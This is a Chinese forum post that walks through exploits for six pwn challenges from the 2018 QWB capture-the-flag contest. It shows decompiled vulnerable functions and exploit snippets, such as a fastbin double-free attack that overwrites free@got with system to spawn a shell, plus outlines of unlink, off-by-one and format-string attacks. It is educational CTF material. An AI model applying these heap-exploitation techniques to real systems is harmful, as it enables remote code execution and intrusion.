学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2020-9-3 22:10:59 | 查看: 4215| 回复: 0

相关题目:

♦ gamebox

前言  本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录。题目真心不错
  程序和 exp:
  https://gitee.com/hac425/blog_data/blob/master/qwb2018/
正文silent漏洞  在 free 的时候指针没有清空,而且程序没有 检测指针是否已经被释放 double free, 后面的 编辑功能也没有检验指针是否已经被 free ,所以 uaf
signed __int64 free_()
{
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  __isoc99_scanf("%d", &i);
  getchar();
  if ( i < 0 || i > 9 )
    return 0xFFFFFFFFLL;
  free(ptr_table[i]);
  return 0LL;
}
利用  在 new 一个内存的时候我们可以任意大小的内存,我们现在的能力
  • 分配任意大小的内存
  • double free
  • uaf
Double Free ---->  Fastbin Attack  可以利用 fastbin 检测 double free 的特点来利用。把一个 chunk  加入 fastbin 是如果相应  fastbin 的第一项和要加入的 chunk 不是同一个即可
add("/bin/sh\x00", 0x60)
add("1"*0x20, 0x60)
add("2"*0x20, 0x60)
add("3"*0x20, 0x60)

delete(1)
delete(2)
delete(1)

gdb.attach(p)
pause()
  这样就会形成一个 下面的 fastbin 链
pwndbg> bins 
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603070 —▸ 0x6030e0 —▸ 0x603070 ◂— 0x6030e0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 
  0x603070 在  fastbin 链 中出现了两次,于是分配两次,0x603070 会被分配,而且 0x603070 会成为 fastbin 的第一个 chunk . 我们就可以通过 double free 实现 fastbin attack 的目的(其实这里可以直接改,因为有 uaf)
  现在的目的是找 一个地址处存放 size 的位置来 bypass fastbin 的 检查。
  在程序的 bss 段存有 std 的指针
.bss:0000000000602080                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000602080                 public stdout
.bss:0000000000602080 ; FILE *stdout
.bss:0000000000602080 stdout          dq ?                    ; DATA XREF: LOAD:0000000000400400↑o
.bss:0000000000602080                                         ; sub_4007F0+6↑o ...
.bss:0000000000602080                                         ; Copy of shared data
.bss:0000000000602088                 align 10h
.bss:0000000000602090                 public stdin
.bss:0000000000602090 ; FILE *stdin
.bss:0000000000602090 stdin           dq ?                    ; DATA XREF: LOAD:0000000000400418↑o
.bss:0000000000602090                                         ; init_+17↑r
.bss:0000000000602090                                         ; Copy of shared data
.bss:0000000000602098                 align 20h
.bss:00000000006020A0                 public stderr
.bss:00000000006020A0 ; FILE *stderr
.bss:00000000006020A0 stderr          dq ?                    ; DATA XREF: LOAD:0000000000400430↑o
.bss:00000000006020A0                                         ; init_+53↑r
.bss:00000000006020A0                                         ; Copy of shared data
  这些指针之间有一些填充空间(会被填充为0), 然后 std 的指针的最低字节 就有可能 可以作为 fastbin 的 size .
  于是修改大小为 0x70的  fastbin  的 fd 为0x60209d, 然后分配 2 次,我们就可以分配到 bss, 然后通过修改 ptr_table 来修改 got 表,使得 free@got 为 system@plt。
修改 ptr_table[0] --> free@got
add(p64(0x60209d), 0x60)
add("5"*0x20, 0x60)
add("6"*0x20, 0x60)

add('\x00'*0x13+p64(0x602018), 0x60)  # ptr0 --> free@got

p.clean()
edit(0, p64(0x00400730), "") # free@got ---> system@plt

delete(3) # free("/bin/sh\x00") ---> system("/bin/sh\x00") 
silent2漏洞  在 silent 的基础上限制我们不能分配 fastbin
利用  分配两个 0x90 的 chunk ,然后释放掉
  分配一个大的 chunk 重用上面的空间,伪造 free chunk  , 触发 unlink
  改 strlen@got 为 system@plt
opm漏洞  在 add 功能处使用 gets 来读入字符串到 stack 的 buf 而且 buf 后面有 obj_ptr ,我们可以溢出覆盖 obj_ptr
obj *add()
{
  obj *obj; // rbx
  obj *obj_; // rbx
  size_t name_len; // rax
  obj *obj__; // rbx
  char buf; // [rsp+0h] [rbp-1A0h]  // 输入的缓冲区
  obj *obj_ptr; // [rsp+80h] [rbp-120h] // obj 指针
  char *v7; // [rsp+100h] [rbp-A0h]
  unsigned __int64 v8; // [rsp+188h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  obj = operator new(0x20uLL);
  init_obj(obj);
  obj_ptr = obj;
  obj->show_func = show_func;
  puts("Your name:");
  gets(&buf);
  obj_ = obj_ptr;                               // gets 可以覆盖 obj_ptr
  obj_->len = strlen(&buf);
  name_len = strlen(&buf);
  v7 = malloc(name_len);
  strcpy(v7, &buf);
  obj_ptr->nameptr = v7;
  puts("N punch?");
  gets(&buf); // gets 可以覆盖 obj_ptr
  obj__ = obj_ptr;
  obj__->punch = atoi(&buf);
  show_func(obj_ptr);
  return obj_ptr;
}
  有一个比较麻烦的点就是 gets 会在读入的字符串后面加入一个 \x00。
信息泄露泄露 heap 地址  主要的思路就是把 addr 写入 name 的缓冲区中,然后 printf 出来
add("a" * 0x70, str(32))
add("b" * 0x80 + "\x10", '1')  # 把 role0 布置到 0010, name 会被分配到 8d00-0x10
log.info("role obj in 0010, and name_buf contain 8d00")
# 首先往 8d00 写 name_ptr, 再次溢出修改 obj_ptr -----> 0010
# 为了后面调用 show(0010), 打印出 内容
add("c" * 0x80, "2"*0x80 + "\x10")  
log.info("write a name_ptr to 8d00")
  具体内存布局如图
  0x5555557560e0 是 role_table 的地址, 可以看到 role_table[1] 和role_table[2] 的是一样的,成功把 name ptr 写入了 role->name 里面
泄露 程序基地址 && libc  后面通过 泄露的 heap 地址,和指针覆盖 来布局,leak 即可
修改 strlen@got 为 system  利用 obj->punch 局部修改
note漏洞  在修改 title 的位置
char *change_title()
{
  char *result; // rax
  signed int i; // eax
  unsigned __int8 c; // [rsp+Bh] [rbp-5h]
  signed int index; // [rsp+Ch] [rbp-4h]

  printf("enter the title:");
  index = 0;
  while ( 1 )
  {
    c = getchar();
    if ( check_black_list(c) )
      break;
    if ( index > 0x27 )
    {
      result = title + 0x27;                    // 最多 40 个字符
      title[0x27] = 0;
      return result;
    }
    i = index++;
    title[i] = c;
  }
  result = c;
  title[index] = c;
  return result;
}
  title 是一个 0x28 字节的 buf, 如果我们在 index=0x28 时输入   black_list 中的字符,就会跳出循环,然后 title[0x28] = black_char,  off by one 。我们看看溢出的那个字节可以写入什么
0000000000602010  0A 21 3F 40 22 27 23 26  00
利用  off by one 可以通过 伪造 free chunk 来触发 unlink ,所以选择 0x40, 通过调试可以知道,title 后面跟着的是 content
  然后溢出后就可以设置 content 所在 chunk->size = 0x40
  然后通过 realloc 一个很大的值,使得无法 通过扩展 chunk 来分配,这样就会把  content  放入 fastbin 。
  再通过 realloc 一个很大的内存,触发 会把   content  进入 smallbin 并且触发堆合并,触发 unlink.
  之后修改 __realloc_hook 为 system
raisepig漏洞  在 eat_pig 功能处可以 double free
__int64 eat_pig()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( pig_count )
  {
    printf("Which pig do you want to eat:");
    _isoc99_scanf("%d", &i);
    if ( i > 0x63 || !pig_table[i] )            // 这里只是判断,pig指针是不是为0
    {
      puts("Invalid choice");
      return 0LL;
    }
    srand(0);
    pig_table[i]->is_lived = 0;
    free(pig_table[i]->name_ptr);               // free掉name指针,没有free pig
  }
  else
  {
    puts("No pig");
  }
  return 0LL;
}
  所以我们可以 多次 free(pig_table->name_ptr)
利用
  •   由于在分配内存时使用 malloc , 而且分配后没有对内存进行清空,而且读入数据使用 read, 可以泄露出 libc
  •   然后分配几个 0x90 的  chunk , 释放中间两个会合并成一个大的 unsorted bin
  •   然后分配大的 chunk 就可以拿到刚刚合并生成的大 chunk , 结合 double free,进行 fastbin attack
  •   修改 fastbin->fd = 0x81 分配一次后可以在 main_arean 有一个 p64(0x81)
  •   使用 fastbin attack 可以修改 main_arean->top 为 malloc_hook-0x10
  •   然后分配内存修改 malloc_hook 为 one_gadget
  •   重复 free 同一个内存(不进行伪造),触发 malloc_printerr (这样更稳), 会调用 malloc, getshell

gamebox漏洞  在 play 函数中,调用 rand 函数初始化了 24 字节的 随机字符串,如果猜对了,就会调用 record 函数进行记录
  size  由我们输入,可以看到分配了 size 的内存 , 后面写的时候 name[size] 会溢出一个字节,不过只能溢出 \x00, off by null.
  然后在 show 函数有格式化字符串漏洞
unsigned __int64 show()
{
  signed int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("=======RANK LIST=======");
  for ( i = 0; i <= 9; ++i )
  {
    if ( obj_table[i].name_ptr )
    {
      putchar(i + '0');                         // 打印名次
      putchar(':');
      printf(obj_table[i].name_ptr);            // name_ptr 作为 printf的第一个参数,格式化
    }
  }
  puts("=======================");
  return __readfsqword(0x28u) ^ v2;
}
利用  rand 默认使用 srand(1), 我们本地调用 libc 的 srand(1) 和 rand 就可以生成相同的字符串
  利用格式化字符串漏洞,泄露 libc 和 程序的基地址
  off by null 直接套用 how2heap ,就可以 overlap heap
  这时就可以利用 raisepig 的思路 或者 使用 unlink
  参考
  http://tacxingxing.com/2018/03/28/2018qwb/


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-4-20 16:03 , Processed in 0.301571 second(s), 38 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表